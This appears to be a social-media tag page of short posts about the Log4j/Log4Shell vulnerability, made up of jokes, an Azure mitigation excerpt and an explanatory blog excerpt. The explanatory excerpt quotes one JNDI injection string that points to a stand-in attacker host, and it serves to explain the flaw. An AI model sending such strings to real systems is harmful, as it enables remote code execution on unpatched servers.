#log4j

[nixcraft]

Too soon?

FYI, log4j is a serious java security bug affecting everyone who uses Java programming language. See https://logging.apache.org/log4j/2.x/ for more info.

[weepingwitch]

heh heh what if someone discovered a java vulnerability that allowed arbitrary code execution........... in minecraft

[kreuzaderny]

[dapperseoul]

some of my partners are really busy dealing with this weird situation

[datamattsson]

Say how many now?

[nitrix-reloaded-blog]

Mitigating Log4Shell in Azure Environments

Following up on Log4Shell, here is how to protect Azure resources. Azure WAF If you use Azure Front Door or Application Gateway, Microsoft has updated the WAF rulesets to block JNDI lookup patterns. Ensure your WAF is in Prevention mode. Workloads Check your HDInsight, Spring Cloud, and Event Hubs (Kafka) instances. Microsoft is patching managed services, but you are responsible for any…

[nitrix-reloaded-blog]

Understanding the Log4Shell Vulnerability (CVE-2021-44228)

The internet is on fire. A critical vulnerability in the Java logging library Log4j allows Remote Code Execution (RCE) via a simple string. Even if you are a .NET shop, you likely run Java somewhere (Elasticsearch, Jenkins, etc.). The Exploit An attacker sends a string like `${jndi:ldap://evil.com/exploit}`. Log4j parses this, performs a JNDI lookup, connects to the malicious LDAP server,…

[cyberdudebivash-news]

The New 2025 Log4j Vulnerability (CVE-2025-68161) Allowing Silent Data Interception and Log Hijacking

Read the full report on -

The New 2025 Log4j Vulnerability (CVE-2025-68161) Allowing Silent Data Interception and Log Hijacking

CyberDudeBivash offers real-time cybersecurity news, threat intelligence, zero-day vulnerabilities, malware reports, and security tools.